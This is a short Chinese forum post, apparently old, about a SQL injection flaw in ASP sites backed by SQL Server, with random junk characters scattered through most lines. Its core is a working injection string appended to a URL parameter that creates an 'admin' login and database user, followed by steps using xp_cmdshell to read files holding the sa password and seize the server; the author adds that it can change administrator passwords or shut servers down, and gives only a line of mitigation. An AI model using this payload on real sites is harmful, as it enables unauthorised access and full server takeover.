为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。* ~: U! m4 W1 d9 M' d; e. y( I& a
BUG描述:2 Z N7 k7 T, s7 \
把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
0 f; q( A) @$ n BUG讲解:: U6 |0 K+ Z- H4 y* n
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。7 Q! c# x. P' w. k2 L S
BUG消除:( A" t0 ?2 G! m2 `: R4 p* ~
程序增加参数过滤
5 S6 q7 B! t7 K3 G7 K4 b t 附:sp_addlogin和sp_adduser语法# ]# c3 Y) m" H! r8 ]
sp_addlogin [@loginame =] 'login') ~4 k) {) h" _/ f: i
[,][@passwd =] 'password']7 w. ?3 l; d2 r& I, @3 m6 s" Q& H
[,][@defdb =] 'database']$ J4 h2 b7 S, j, ?2 y" Y
[,][@deflanguage =] 'language']. \" z5 T( E1 ]
[,[@sid =] 'sid']% U! f& e) z7 g2 E' Z$ V$ p
[,][@encryptopt =] 'encryption_option']9 z2 ] F' `" E" @. b/ U( K+ k* M$ {
sp_adduser [@loginame =] 'login'$ i5 r* D/ [. K8 w5 \# Q O4 L
[,][@name_in_db =] 'user']
2 T0 `, P) j( J! u; q' l" X Q8 Y [,][@grpname =] 'group']( \+ D4 ~% L4 e% i9 B7 W
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^* k- I( ^3 Z& F8 a
嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等
; h7 B; O! `1 G o2 [; S- T( I# O0 a |